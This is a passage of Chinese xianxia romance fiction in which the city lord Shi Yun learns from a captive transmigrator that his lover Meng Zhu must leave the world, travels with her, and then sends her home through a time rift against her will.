施允笑着嗯了一声,当真点了点头,顺着孟竹的话道:“是我的过错。” 他伸手去拿孟竹手上的那支银铃,却被孟竹躲开了。 她含着那颗铃铛,俯下-身,一点点蹭上施允的锁骨。 微凉的触感在他的肌肤上来回滑动,伴随着阵阵颤动的铃铛轻响。 洁白修长的脖颈后仰着,微凸的喉结不由自主地滚动,被孟竹偏头咬了一口,铃铛落在锁骨的中心,一道细密的灵流缠绕上去,慢慢固定住。 孟竹十指穿过施允的发,捧着他的脸亲吻他的眼睛,“这枚铃铛发出的声响只有我能听得到,无论你去到哪里,除非身死魂销,否则你永远都解不开它。” 施允闭着眼睛笑,眼睫被她亲吻地不断颤动。 他哑声说:“好。” 月色如水,倾泻而下,施允半阖着眼眸看着那朦胧的身影。 孟竹总是有这样奇奇怪怪的喜好。 她喜欢将许多华美的珠宝戴在他的身上,有时候甚至会叼着一支笔在他身上画画,看他躺在一床的翡翠宝石和珍珠上,场面艳丽而颓靡。 她在这一堆珠光艳影中亲吻他,会说动人的甜言蜜语,柔声说着喜爱他。 施允喜欢她挑眉笑起来的模样,那种兴致盎然的笑意,代表着她依然对他兴趣满满。 可这样的兴趣,又能维持多久呢? 施允无不惆怅地想着:啊,原来以色侍人是这种感觉啊。 渐渐地,施允听着孟竹逐渐均匀的呼吸声,知道她这是又睡着了。 他起身下了榻,又抱着她换了个舒适的睡姿,替她掖好了被角,他伸手在孟竹耳后抚摸了一下,上面有一个非常小的,像是红色月牙状的标记。 这是他在无意中发现的,因此,他也找到了好些拥有这样月牙标志的人。 随手捞了件外袍披在身上,施允轻轻将门合上,没有发出一点声响。 施允进了书房,没有点灯,他伸手在一面书架上点了一下,一道凭空出现的阵法便像波纹一样散开。 一道暗门展开,施允懒懒地抚了下衣服上被压出来的褶皱,走了进去。 这里是城主府内的地下,玉都刑狱司便设在此处。 皂靴踏在地面,发出一阵空荡的回响,石壁上一排烛火随着施允的脚步一路亮起,暗卫规整地站在两旁,齐声喊了句:“主子。” 施允应了声,走到其中一间牢房门口。 暗卫青穗立即躬身置好了座椅,她看着施允落座,目光不受控制地黏在了施允的身上。 在这昏暗的灯影下,依然能看得清他脸上未褪的情潮,上挑的眼尾勾着一抹薄红,懒懒地支着头倚在座椅里。 宽大的袖角落下,露出莹白微凸的腕骨,烛光照在那一头泼墨似的乌发上,衬得那抹白像要反光似的,令人眼晕。 只这么一眼,青穗的视线就对上了那双潋滟的眼睛。 青穗脸庞泛红,想着:这个主子看起来根本没有传说中那么吓人,甚至还很是好看呢。 她生得貌美,又凭借着出众的能力进了这刑狱司,说不定,有朝一日,她能获得主子的喜爱,一步登天也说不定? 被那双眼睛盯着,她的呼吸一滞,几乎挪不开眼,只能听着胸膛里如擂鼓般的心跳声。 “新来的?” 她听到那抹慵懒的声线,漫不经心地响起。 青穗有点发懵地回答:“属下已在刑狱司三月有余。” “哦。”施允点了点头,“三个月了还不懂规矩。” 一旁的青忍看了青穗一眼,脸色一白,立即按着青穗跪下,“是属下失职,没能教好。” 施允偏头坐着,不置可否,青忍闭了闭眼,“青穗,立刻出去,今夜便从刑狱司除职。” 青穗不可置信地看了施允一眼,颤声道:“主子!我……” 可惜她没能说完剩下的话,便被其余的暗卫拉出去了。 青忍依旧跪着,额头上冷汗涔涔:“属下教养不严,明日便自请去水牢领罚一月。” 施允扫了他一眼,挥手让青忍退下,离开前,青忍擦了把额上的汗,忍不住回头看了一眼。 施允的性子越来越阴晴不定,仙洲内犯了罪的人都被关进这刑狱司,经过他手审问的犯人几乎没有一个不是脱了层皮。 青忍跟了施允很久,知道他向来治下严厉,否则也难以坐稳这玉都城主之位。 只是最近,施允实在是有些反常了。 第53章 倒计时 最近,施允对丰城氏族的打压越来越严重,几乎到了人人自危的地步,他从继任玉都城主以来,吞并了无数大大小小的氏族,手段无不酷厉冷辣,但他对那些一直支持依附着的弱小氏族又十分关照,不仅会大方地让出灵脉供他们修炼,还会把幼孤安置到特定的地方进行培养,简直有种顺我者昌,逆我者亡的架势。 就这样,施允一步步坐稳了玉都城主的位置,施氏也一步步壮大起来,族内的长老们都欣慰地很,毕竟,能够藉由他得到的好处,那可太多了。 暗牢内安静极了,烛芯噼啪的爆响声让施允有些放空的神思收了回来。 他摆了摆手,让周围的暗卫全部退下。 他的视线落在牢房内躺着的那人身上,指尖弹出一道灵力,地上那人才动了动,皱着眉发出了一声痛苦的抽气声。 那人抬起视线,同施允对上,干裂的唇角张合了一下,“……原来是你。” 施允点了点头,好整以暇地望着她,打了个招呼:“好久不见,吕一。” 吕一慢慢爬起来,靠在墙壁上,“你不会以为杀了我,我就什么都会说吧?” 施允好笑道:“我杀你做什么?” “让你开口的办法有很多种,不是么?” 他打了个响指,墙壁上的开关缓缓转动,吕一右侧的一面墙向着两面一点点打开。 牢狱里有数十人,都被蒙着眼睛堵着嘴巴,整整齐齐地被束缚在牢笼里。 施允俯下身,看着吕一骤变的脸色,“其实我很好奇,要是一个个把他们都杀了,你说,杀到第几个,你才会开口呢?” 吕一闭了闭眼,“你如此丧心病狂,终不得好报。” 施允笑了下,“很好,那我们开始吧。” 说完,他指尖一抬,一道灵流迅速攀上最左侧一人的身体,那人发出痛苦地呜咽声,浑身剧烈地扭动着,青筋爬上他充血的脖颈。 “我说!”吕一站起身,“你住手。” 施允的手放下,“这么快啊,我还以为要多费些时间呢。” 吕一面无表情地看着施允,“告诉你,你又能怎么样呢?没有人能阻止这一切。” 静了一瞬,施允才开口,“你,还有这些人,都不属于这个世间吧?” “让我猜猜。”施允思索了一下,“你们先是在丰城收集了大量的剑石,又以低出市面价格一半的售价抛售出去,然后再次用从各种各样的人手上收购的品质不一的剑石,有时候一块平平无奇的低阶剑石你们却愿意出高价购买,但又把那些高阶的剑石拿出来售卖。” “没有人这么做生意的,我猜,你们在找一种,对这个世间的人无用,却对你们这种人有用的剑石。” 施允抬眸,“天荒渡的碎片,残荒之石,是吗?” 吕一不由愕然,他们做这些事情都相当隐秘,几乎不直接出面,却还是被摸了个底朝天。 “你竟然全部都知道?你在丰城安插了多少眼线?” 看着施允气定神闲的姿态,吕一冷笑了一下,“你既然都知道了,还把我们绑来这里做什么?” “这和你有什么关系,我们又没有罪。” 施允的手指垂落下来,在座椅扶手的边缘摩挲:“得到天荒渡以后,你们要去哪里?” 时空裂缝已经打开,要想安然无恙地穿过时空缝隙,必须收集全部的残荒之石,复原完整的天荒渡。 吕一道:“自然是回到我们自己的世界。” “我们不过是意外掉入了时空的缝隙,这里本来就不是我们该存在的地方。”她摸了下耳后的那个月牙,“你应该知道,这个标志意味着什么吧?” 施允静默不言。 吕一扯着唇角笑了一下,“孟竹身上也有这个标志,不过,她似乎还没有意识到一件事。” “时空缝隙中流落出来的异世之人,到了时限还不离开,就会被当作这个世间的垃圾被强制清理掉,以此来维护空间的稳定性。” “简单来说,她也必须站在我们这边。” “否则,下场就是化为这个世间的灰烬。” 吕一松了眉眼,又挨着墙坐下来:“之前看你和霍予争来抢去那模样,你喜欢孟竹吧?难道你还没告诉她?” 看着施允沉默的模样,她摇了摇头,“就算是为了她好,你也该放我们走。” 施允攥住扶手的指尖发白,他面无表情地看向吕一:“所以,时限是什么时候?” “七十九日后。” 吕一叹了口气,她莫名觉得施允不是那样难沟通的人,“你放我们走吧,我们会悄无声息地离开,不会让任何人受到影响。” 暗室内,安静了很久,久到吕一忍不住开口催促,才发现施允在发呆。 他脸上没有任何表情,没有那种高傲、冷漠、或惯常那副似笑非笑的神态。 好像只是单纯地在发呆。 “施城主?” 施允动了动,他用手指揉了揉额心,遮住了那双眼睛。 “最后一个问题,告诉我,就让你们走。” 吕一抬起眼,“什么问题?” 施允的手撑在膝盖上,低着头,声调缓慢地开口。 “我想知道,你们的世界,是什么样的?” “和这里……有什么不同吗?” 吕一愣了一下,没想到施允的最后一个问题是这个,她还以为,施允要问她关于霍予的下落。 她回想起曾经,眉眼间像是蒙上了一层柔光,那里有她的家人、爱人,虽然不比这个世界神奇多彩,但那里才是她熟悉的,真实存在的世界。 她说了很多,从生活起居到衣食住行,从小时候上学说到长大以后的公司,又说到各种电子产品和动漫游戏。 施允静静地听着,很多他听不懂的东西,会偶尔问几句。 吕一便耐心地解释给他听。 她突然觉得,施允是一个非常合格的倾听者,他从不出声打断她的话,只会在恰当的时机提出他的疑问。 偶尔,他会点点头,肯定她顺道发表的一些想法。 在这个既修仙又封建的时代,很多她提出来的想法是不合时宜、甚至骇人听闻的,施允却从未反驳过她。 抛却他这个高高在上的身份,吕一觉得,施允真的挺适合做朋友的。 可惜,他们之中的任何一个人,都不属于这里。 最后,施允依言将所有人都放了,走之前,吕一沉默地看了施允一眼,他像是整个人都放空了,一向平直的背脊弯下来,头一直低着。 施允在暗室中坐了很久,久到天光慢慢变亮。 他看着石墙上凿刻出的小窗外,泛着鱼肚白的天空,恍惚间觉得,自己也被关进了囚笼中。 逃不出,挣不脱。 他也很想看看,那样的世界究竟是什么样的,可他的想象力太过贫瘠,只能从那些只言片语中拼凑出一点点供他想象的画面。 良久,施允慢慢撑着扶手站起来,他的身形趔趄了一下,像是站不稳似的,一步步撑着墙壁往外走。 直到回到了那间寝殿,他坐在榻边,看着孟竹依然熟睡的脸。 修仙世界的寿元普遍很长,大乘期的修士甚至能活上几千年,可他怎么觉得,时间又如此短呢。 他从没在意过时间的流逝,反正时间很长,反正还有大把时光。 孟竹不爱他也没关系,因为他可以慢慢地等待,他有这个耐心。 春去秋来,寒来暑往,总有一日,能让他等到孟竹爱上他的那一天。 可是啊…… 怎么就来不及了呢。 施允在孟竹的眉间落下一吻,然后推门而出。 玉简亮起,“子修,我需要你帮我做一件事。”- 孟竹醒来的时候,下意识地伸手摸了摸旁边的位置,一片冰凉。 她坐起身,视线绕着寝殿环绕了一圈,“施允?” 喊了几声,依旧没有回应。 孟竹有些稀奇,这些时日以来,明明一睁眼就能看到施允,今天倒是连个人影都没有。 她伸了个懒腰,下了榻简单地梳洗了一下。 最近学府的东西也学得差不多了,主要是她脑海中的那些术法理论她会得越来越多,每次过去听到的都是重复的东西,所以她最近倒是真的有些无所事事了。 门被轻轻叩响了,从门外鱼贯而入一行侍女,她们端着各式各样的衣物、首饰进来。 她们看她的眼神既恭敬,又微妙。 现在孟竹能够自由地进出城主府了,再不会像那一日一样所有人看着她都是一幅睥睨高傲的姿态。 但孟竹并不觉得畅快,他们的恭敬和态度完全不是因为她本人。 而是一种叫做权势的东西。 在争权夺利、勾心斗角、汲汲营营的环境中,人连最初的面目都模糊了。 都变成了工具一般的模样。 孟竹摇了摇头,让那些侍女们退了出去,她本来也不爱做那些复杂的装束。 她径自出了寝殿,坐在凉亭中发呆。 忽然,一阵风吹过,她听到了一阵银铃的轻响。 孟竹落入了一个熟悉的怀抱。 孟竹在他的怀里转身,看着施允眉间带笑的模样。 他说:“孟竹,我们走吧。” 孟竹愣了一下,“去哪儿?” 施允笑着屈指敲了下她的额头。 “天大地大,去你觉得自由的地方。” 第54章 第二个愿望 施允带着孟竹离开了玉都,一路出了仙洲,来到了凡界。 相比于仙洲,孟竹更喜欢凡界的烟火气,熟悉而热闹。 他们漫无目的,觉得哪边的风景漂亮便在那里多停留几日。 孟竹有些好奇地问施允:“你就这么走了,玉都那些事不管也没关系吗?” 在城主府的那些日子,她看得出来,施允其实并不像想象中那么悠闲,他每日都有批不完的文书,很多时候还要和族老们见面,有时候在书房一呆就是一整天。 有时候到了半夜,还会看到施允起身去处理各氏族之间的矛盾,让各方的势力维持在一个微妙的平衡点。 孟竹不太懂这些,只觉得他像个要日日早朝的君王,有些好笑地想着,这都修仙了,还摆脱不了封建主义的模式。 听到孟竹的问题,施允只是笑了笑,道:“这个世间最不缺的就是掌权者,少了我,玉都城也不会垮了。” 他也学着孟竹的样子伸了个懒腰,懒洋洋道:“况且,我也是个人,累得半死不活有什么好处?” 孟竹看着他,忽然道:“总觉得你跟从前有点不一样了。” “嗯?哪里不一样了?” 孟竹笑嘻嘻地挨过去,“以前你嘴巴说话可难听了,傲娇得很,现在倒是一点也不了。” 施允伸手戳孟竹的额头,下巴微抬着,“你是不是日子过得太舒服了?” 孟竹哈哈哈哈地笑起来。 她笑着,看着施允那副熟悉的表情,不知为何,总觉得有哪里不对劲。 她总觉得,施允的眉眼间像蒙了一层雾似的,看起来朦朦胧胧,一点也不真切。 可下一秒,施允又恢复了那一副惯常的模样,笑着逗她。 现在的他爱笑,也爱同她闹,日子就这么慢慢过着,让孟竹隐约觉得,就这么简简单单地过一辈子,也很好。 当个普通人,就很好。 她觉得她原本那颗空荡荡的心,也一点点被施允填满了。 施允像是带着她玩拼图游戏一样,在这个尘世间找不同季节的影子,春夏秋冬,他好像要在这短短的时间内过完四季一般。 有时候,施允会带她专门去找春天的桃花,看青山绿水。 有时候,施允会一天带她去很多个地方,不同的大陆,为了看一片盛夏池塘里游荡的鲤鱼与荷花,看漫山遍野的红枫。 他们爬了很多座山,像在进行一场很远的徒步旅行,用脚步丈量这个世间的每一寸土地。 这一日,他们来到了一个从未见过的部族。 这是一片自由无羁的草原。 部落里的人热情极了,他们似乎很少见到除了部族之外的人,对他们极为好奇。 他们热情地拿来肉干和马奶酒招待孟竹和施允,坐在一起聊天。 孟竹和施允并未透露他们来自仙洲的事情,只说他们是来自一个平凡的人间城镇,游历至此。 天色渐晚的时候,部族里的人点起了篝火,有个漂亮的姑娘挽着孟竹,悄悄把她拉进了帐子里。 她给孟竹编了满头的小辫子,又拿来一套崭新的,红色的袍服给她,笑着说:“今天晚上,可是个特别的日子呢。” “特别的日子?” “嗯。”姑娘眼睫弯弯,“今天晚上,是姑娘们选择心上人的日子。” 她脸上带着属于少女独有的青涩纯真,对着孟竹轻声道:“你身旁那位,看起来很是喜欢你呢,我发现他总是在看你。” “对喜欢的人,要认真把心意说出来哦。” 她说着,把孟竹推出了帐子。 外面已经聚集了许多年轻人,他们载歌载舞,围着篝火跳跃着,拍着掌,唱着孟竹听不懂的歌。 悠扬的马头琴响起,在温暖的火光中,所有人脸上洋溢着喜悦幸福的笑脸。 孟竹的脸上被扣了一个面具,将她的脸全部遮挡住,她被牵着站到了姑娘的队列里。 草原上的男儿们穿着浅蓝色的袍服,同样扎着满头的小辫儿,戴着兽骨做成的耳饰与项链,他们有些赤着胳膊,露出精壮的胸膛和劲瘦的腰腹,被姑娘们看着时,黝黑的脸上会露出爽朗又大方的笑意。 随着部落老人的一声吆喝,所有人都戴上了面具。 孟竹从面具的缝隙中,寻找施允的身影。 他去哪儿了呢? 身旁的姑娘笑着拍了拍孟竹,道:“去吧,找到你心中的勇士,揭开他的面具,会获得神的保佑。” 面前的人*影憧憧,孟竹身处其中,看每一个人,都像是面目模糊的影子。 她恍惚中,看着一个落单的男子站在一边,身高体型都很像施允,孟竹笑了一下,往前走。 直到她牵住了那个男子的手,她听到身旁传来一道熟悉的嗓音。 “抱歉,我已经有喜欢的姑娘了。” 男子揭下面具,面色微红地看着孟竹,这是一张陌生的脸。 孟竹不由往后退了一步,“对不起……” 她的手腕被人攥住,一路往后被拉着走。 脚步太快,孟竹险些有些跟不上。 直到远离人群,到了一处石墙边上,高大修长的身躯压在孟竹身前,孟竹被堵在角落,进退不得。 “这位姑娘,你要不要重新考虑一下?” 孟竹看着眼前戴着面具的人,只露出半截精致的下巴。 她靠着墙笑了笑,起了点逗弄的心思,“什么意思?” 面前的人静静地看了她好一会儿,他唇角微微抿着,背后是落下来的月光,孟竹看不见他脸上的表情。 他张了张口,有些干涩的语调:“不能……爱我吗?” “对喜欢的人,要认真把心意说出来哦。” 孟竹忽然想起刚刚那个为她梳妆的姑娘对她说的这句话。 她抬起手,揭下了他脸上的那张面具。 施允穿着同部落里男子们一样的浅蓝色袍服,头发也编成了辫子,额前的碎发散落下来,有一种落拓不羁的少年气。 她怎么就因为戴了一副面具就没认出他呢? 孟竹把自己脸上的那张面具也揭下来,面具落在地上。 她指尖碰到施允的唇。 “从很久之前,你自己都没有意识到,你总在引诱我,是你先开始的。” “你却总说讨厌我。” 孟竹两只手伸上来,捏着施允的两边脸颊往上,让那紧绷的唇角露出一个难看的笑容。 她没好气地应了声:“我当然爱你,就这么不相信我吗,你这个妒夫。” 施允由着她在自己的脸上胡作非为,他轻声说:“不讨厌。” 他微凉的指尖抚摸着孟竹的脸,“你说对了,我就是一个妒夫。” 一个面目丑陋,被情绪所凌迟的妒夫。 他嫉妒得快要发疯。 嫉妒得恨不得将这颗心挖出来捧给她。 可那又能怎样呢? 往后,在孟竹的人生中,还会有他的存在吗? 施允闭了闭眼,“光是想起他拥有过你这么多年,我便痛苦得快要发疯了。” 她会遇到更多的人,去往更广阔的世界,就算那个人不是霍予,也会有不同的人陪在她的身边。 那个人,又会是什么模样呢? 不仅是她的从前,连未来,他都看不见了。 孟竹被施允这直白的情话说得头发发麻,她假装抖了下身上的鸡皮疙瘩,道:“咦……施允,你现在说话好肉麻哦。” 她不明白为何今夜的施允为何看起来如此多愁善感。 就像她不明白曾经的施允为何那样别扭一样,孟竹叹口气,摸了摸施允的头,笑道:“我喜欢你为我发疯的样子,反正以后的时间还长,你就疯给我看呗。” 孟竹拉着他的手,在草地上坐下,逗他,“小疯子。” 她凑过去,笑着看施允的眼睛,“你有没有闻到什么味道,好酸好酸。” 施允斜她一眼,笑骂了一声:“变态,你是不是就喜欢别人为你吃醋啊?” 这是孟竹教他的词,现在他也能从善如流地顺着她的话同她开玩笑了。 孟竹吸了口气,去挠施允的胳肢窝,“你还敢骂人,道反天罡了是不是?” 在施允面前,她总能肆无忌惮地做任何事,总是情不自禁地想笑。 她觉得自己好像变成了一个很小的孩子,做着从前都不会做的那些幼稚举动。 施允一边笑,一边躲,最后攥着孟竹的双手把她按住,“好了好了,我不该骂你,我认错,好不好?” 孟竹施施然收回了邪恶的爪子,“认错态度还不错,勉为其难原谅你了。” 孟竹张开双臂躺在草地上。 夜风轻轻地吹着,在这广袤无垠的夜空中,星罗密布,浩瀚如海。 世间的人在这宏大无边的星海下,仿佛都变成了微小的尘粒。 她被这片纯净的星空吸引着,连灵魂也被洗涤了一遍。 孟竹看着,忽然道:“施允,你相不相信这世上有另一个世界的存在?” 施允的身体僵了一瞬,回头看她。 “我若是说,我来自另一个世界,那里没有人修仙,也没有人会法术,你会信吗?” 孟竹伸手拉了拉施允的手指,他顺着孟竹的力道在她身旁躺下。 施允侧过头望着她,“你说了有,我就信。” 孟竹笑了一下,她现在已经不意外会听到这种回答了。 “傻子,怎么什么都信。” 孟竹慢慢地,一点点说起从前,关于另一个世界的点点滴滴。 施允始终很安静地听着,他侧过脸,始终目不转睛地看着孟竹。 他问:“那如果有机会,你想回家吗?” 孟竹认真地想了想,不管怎么样,她确实还是想要再看一眼那个世界,那个熟悉的,曾经的世界。 “如果有机会的话,肯定想要再回去看看啊。”孟竹笑了笑,又道:“不过,也没那种可能了,现在也很好。” 因为施允,她开始慢慢喜欢上这个陌生的世界。 施允抬眼,静静地看着天空,轻声道:“我知道了。” 忽然,夜空中划过一抹明亮的光辉。 孟竹一瞬间坐起来,拉了拉身旁的人,“施允,有流星诶,快许愿。” 她闭上眼睛。 孟竹在心中默默念着,以后的每一天,他们都会比今天更加幸福。 她想,这不会是她最幸福的一段时光,因为他们还会一起走很久很久。 过了一会儿,孟竹睁开眼睛,她笑着问:“你许了什么愿望?” 施允望着那抹流星消逝的地方,“对着这种东西许愿,真的有用吗?” 孟竹耸耸肩,“说不定呢,因为大家都这么做。” 施允笑了笑,说:“那我希望你永远像现在这样,笑得这么开心。” 孟竹被逗乐了,推了施允一下:“什么啊……真是肉麻。” “快说,到底许什么愿了?” 施允闭上眼睛躺下来,没说话。 他很贪心地许了两个愿望。 第二个愿望,他说给自己听。 希望你永远不要忘记我。 第55章 回家 最后他们离开了那片草原,施允带着她来到了北荒。 听施允说,这里曾经是一片一望无际的雪原,但经过时间的变迁,在这人迹罕至的地方,又零散地分布了一些村落,让这里有了许多的生活气息。 北风常年在吹,到处都是白茫茫的一片,气温也一直很低,那股冷风像是要吹进骨头里。 孟竹来到这里以后遇到了一个意想不到的熟人。 “阿喜,好久不见。” 阿喜黑了些,也瘦了些,皮肤上有了风霜的痕迹,跟原来那个白面书生的模样大相径庭。 他咧着嘴笑,“确实好久不见了。” 阿喜领着施允和孟竹一路往村子里走,一路上不少人用他打招呼,一直走到小路的尽头,孟竹才发现这是一处非常宽敞的大院子。 院子周围是用大小不一的石头垒成的围墙,还没进门,就听到里面一阵小孩子的欢闹声。 孟竹看着那院中的小孩儿蹦蹦跳跳的,最大的不过十岁左右,脸上被风吹得红扑扑的,个个都吸着鼻涕裹着厚厚的袄子。 阿喜人腿刚跨进门,便见着一群小孩字朝着他跑过来,“阿喜哥哥!” “阿喜哥哥,你看他又抢我的饼吃!” “他用雪球砸我!” “阿喜哥哥,我饿……” 叽叽喳喳的,跟群小鸟儿似的。 阿喜一手摸着一个脑袋瓜,把身后背着的一个大包袱递给他们,孟竹看着那包袱里满满的肉干、白饼,甚至还有难得一见的小野果。 这里看起来并不富裕,食物也很贫瘠。 阿喜收拾了一间屋子出来,孟竹好奇他怎么来了北荒,阿喜下意识地看了施允一眼,笑说这里有一群从出生起就被仙洲遗弃的孩子,他一个居无定所的妖,索性来这里生活,有人陪着,图个开心。 孟竹有些惊讶,“为什么会有被遗弃的孩子,仙洲那样繁华富庶的地方,不至于连个孩子都养不起吧?” 闻言,施允给孟竹倒了杯热茶递给给她暖手,道:“有出生好的孩子,自然也有出生不好的孩子,这些孩子都是一出生就被发现没有灵根或者天生体弱资质差的,留在仙洲浪费资源和灵气,没有价值的人,就会投入北荒让他们自生自灭。” 孟竹啊了一声,不知道说什么,只问:“可这里条件并不适合生存,怎么不去凡界?” 阿喜接了话,“在仙洲出生的孩子,身上有仙洲残余的灵气,去凡界,他们这种体质,在仙洲是废料,在人间界又会被当成某些修士和妖的养料,他们又天生孱弱,哪里有什么自保能力。” “北荒这个地方呢,就是用来收留那些既不能留在仙洲又去不了凡界的人,况且这里在千年前就有一道封印,据说是什么始祖留下的,凡是被仙洲剥夺了刻印的人,都无法离开这里。” 阿喜有些嘲讽地扯了扯嘴角,“你看,世间这么大,只有这一方天地能容得下他们,多好笑。” 孟竹看着那些院子里蹦跶的孩子,北风吹在他们脸上,皮肤看起来干燥而粗糙,在这片贫瘠荒芜土地上,脸上却笑得很开心。 “他们知道你是妖吗?”孟竹端着那杯热茶,问阿喜。 “不知道。”阿喜很干脆地说,“而且我也不会让他们知道。” 他笑了笑,道:“我现在很庆幸我是一只妖,因为这证明我有能力可以做很多事。” 屋内取暖烧的是柴,阿喜往炉子里面又扔了几根木头,屋里响起一阵柴火的劈啪声响。 孟竹看着他的侧脸,道:“你还真是喜欢小孩子。” 阿喜蹲着,拍了拍手上的木屑:“大概因为被人需要的感觉太好了,所以我才喜欢。” 他站起身,对着孟竹道:“好了,你们饿了吧,我去弄点吃的来。” 正说着,门就被叩响了,阿喜把门拉开,一阵冷风带着雪灌进来,让屋内的温度骤降了几度。 孟竹朝着那边看过去,是个上了年岁的老婆婆。 阿喜让开身子,把人迎进来,喊了声:“肖婆婆。” 老人的鞋上踩了雪,一进屋便融化成了一滩黑灰色的雪水,一踩一个黑脚印,本来光洁的地板上显得脏污不堪。 孟竹下意识地去看施允的反应,他却没什么表情地喝了口茶,连眉毛都没动一下。 施允好像真的变了很多,是从什么时候开始呢? 平素最爱洁的人,现在也能面不改色地待在这样的地方,没有发脾气,也没有皱眉。 今天的施允,安静得让孟竹有些没由来的不安。 肖婆婆进了屋,看见孟竹和施允两人,眼睛亮了亮:“哎呦,好俊的姑娘和公子啊。” 阿喜给肖婆婆倒了茶,看她把一叠衣服放在架子上,道:“说了我去拿,你还跑远路送过来。” 孟竹看了一眼,全是些半旧的衣裳,洗得干干净净,一件件叠得很平整,上面有缝补的痕迹。 肖婆婆笑道:“阿喜啊,我又不是老得走不动路了,过来看看孩子们,活动活动手脚,人也有点精神气不是?” 那双已经老得已经浑浊的双眼中噙着笑,问孟竹:“你们小夫妻两个,是今日才来北荒的吧?” 孟竹张了张嘴,刚想说些什么,便听施允淡淡嗯了一声,道:“没错,是今天才到的。” “难怪,之前没见过你们,这里虽不富庶,但日子过得很舒心呢,你们可要多待一阵子。” 孟竹笑着点了点头。 肖婆婆拉着孟竹聊了会,临走前,还给了孟竹一个自己打的络子,说是给她的见面礼。 孟竹将那络子好好收了起来,她现在总能从各种人的身上感受到一种从来没有过的,奇妙而温柔的感觉。 北荒的天黑得很早,入夜时分,呼啸的风声拍打着窗户,屋里燃着炭火,昏黄而温暖。 小孩子们围着火炉,嘻嘻哈哈地打闹,阿喜端上来一大锅热汤,给每个人都分了一碗。 孟竹喝着热汤,手脚也变得暖和起来,施允坐在一旁,他什么都没有吃,只静静地托腮看着孟竹。 他看了眼外面的天色,又慢慢把脸转过来,嘴角噙着一丝笑,问她:“孟竹,要不要出门走走?” “现在?”孟竹放下碗,“外面的天气可不算好。” 以往她说什么,施允都顺着她的意思,可今晚,他却朝着孟竹伸出一只手,坚持道:“我想看看雪,就当陪我了,好吗?” 孟竹拢了拢身上的披风,起身牵上那只手:“好吧。” 离开前,阿喜从百忙中抬起头,叮嘱两人:“早去早回啊。” 孟竹点点头,说:“好。” 施允牵着孟竹一路出了院子,外面下着很大的雪,一张口,冷风便灌进肺里。 脚下的雪很厚,靴子踩进去都陷下去一半,纷纷扬扬的大雪中,脚印被落雪渐渐掩盖,好像这片白茫茫的天地中只剩下了两个人。 “我们去哪儿啊?”孟竹走着,看施允一直带着她往雪山上走。 她的手被施允牵着,纵使风已经把皮肤吹得冰凉,他也没有放开的意思。 施允望着前方,道:“去看看雪山上的夜。” 上山的路太陡了,施允走得很慢,他穿着白色的裘氅,仿佛要同这雪山融为一体。 他走在孟竹前面,让孟竹拉着他的手往上走。 雪太大了,前方几乎看不清路,没有人会在这样的夜里出门。 孟竹的鞋都被雪浸透了,她看着施允静静回望她的表情,心里莫名不安起来:“施允……我不想去了。” 她甩开施允的手,“我想回去了,这里好冷。” 可她刚要转身,便被施允从身后抱住,他的呼吸吹在孟竹的耳后,凉得像雪。 他将头埋在孟竹的肩上,嗓音有些哑:“孟竹,马上到了。” “陪陪我吧,就当最后一次了。” 孟竹在他怀里转身,她心里的不安越来越浓,“为什么是最后一次?” 施允伸手,拇指擦去孟竹眉间的落雪,“因为……以后我再也不会让你陪我在这样的大雪天出门了。” 他笑起来,屈指敲了敲孟竹的额头,道:“所以,你不是常说吗,来都来了?” 孟竹松了口气,她伸手拍掉施允衣服和头上的雪,打趣道:“你都快变成雪人了。” 雪落在他的发梢,看起来像是一夜白了头,孟竹笑了笑,又说:“好像一个老头子啊。” 施允看着孟竹,也笑了,“那你就是老太婆。” 孟竹跟着他继续往前走,她没办法想象施允变老的样子,但看他现在这个模样,老了以后肯定也不会差。 于是她说:“施允,你老了以后,肯定也是一个特别好看的老头儿。” 施允走在她前面,她看不见施允的表情,只能听见他似乎轻笑了一声,哑着嗓子道:“也许吧。” 离山顶只有最后几步路了。 施允的脚步变得越来越慢,然后忽然停了下来,他背对着孟竹,像是画面被定格了一般,一动不动了。 那只牵着她的手,慢慢、一点点松开。 “……施允?” 下着雪的灰暗天空一瞬间亮了起来,像是泼洒了染料一般,一寸寸变成了红色,伴随着阵阵雷鸣声,天际线上出现了一道巨大的漩涡。 孟竹的心跳一瞬间变得很快,“……那是什么?” 她拽着施允让他转过身,“发生什么了!说啊!你……” 孟竹的话卡在喉咙里。 施允的眼眶红着,却是在笑的。 一滴泪顺着泛红的眼角落下来。 “孟竹,开心点。” “你要回家了。” 第56章 我也骗了你一次 随着施允的话音落下,一道阵法自他脚下展开,他周身的灵流铺展开来,几乎覆盖了整座雪山。 孟竹瞬间被击退数尺。 她看着眼前升起一道金色的屏障,孟竹扑过去用拳头猛地砸了几下。 毫无作用。 不管是用拳头,还是用她学过的术法,她破不开施允的障。 与此同时,一道声音自她身后响起。 “小竹!” 孟竹没回头,她拍着那道屏障,声音几乎是颤抖的,“你放我出去好不好?施允……” “你怎么骗人呢!” 施允就在她眼前,她却触碰不到他,他的周身被无数细密的灵流包裹着,眉目都变得模糊起来。 他看着孟竹,轻声道:“你说过的,将来我也可以骗你一次,你绝对不会生气。” “放屁!我没说过这种话!”孟竹咬着牙,浑身都在发抖,“你把屏障打开!” “打开啊……” “打开啊……” “打开啊!!!施允!!!” 施允没说话,他用手遮住脸,霜雪落在他的身上,身形像是要渐渐隐没在这茫茫无际的大雪中。 他的唇动了动,最后却什么都没说。 孟竹看着他的身影一点点消失在自己的眼前,直到完全不见。 她的大脑仿佛一瞬间被抽空了,她看着眼前的景象,呆愣着,木讷地像个人偶。 风声、雪声、雷鸣声,好像一切都听不见了。 一股力道攥住了孟竹的手腕,霍予拽着她往后面走。 “别动我……” 她像是自言自语般重复着:“别动我……” 霍予像是也听不见似的,死死攥着她的手带着她往雪原深处走。 直到孟竹猛地用力将那只手甩开,“我叫你别动我!!” “好!我不动你!” 霍予被甩得踉跄两步,他指着那道漩涡,对着孟竹吼道:“你看到那是什么了吗?时空裂缝已经打开了,我所做的一切都是为了今天!” “我说过的,我一定能带你回家!” 孟竹顺着他手指的方向看过去,不远处已经站着十数人,吕一站在最前方看着她。 她走过来,对孟竹道:“再不走就来不及了,你身上还有最后一块残荒之石,把它给我,我们就能一起回家了。” “哦。”孟竹忽然笑了一下,“原来大家都是穿越的啊。” 多好笑啊。 所有人都知道,只有她不知道。 孤僻古怪,自以为是。 不怪她遭人厌弃。 孟竹看着吕一,问:“你什么时候知道霍予和我的来历的?” 吕一静静打量着孟竹的表情,“在玉都学府,他第一次和你打招呼的时候。” “所以我说,你就是过得太好了,你没发现吗,你才是那朵被养在温室的花。” 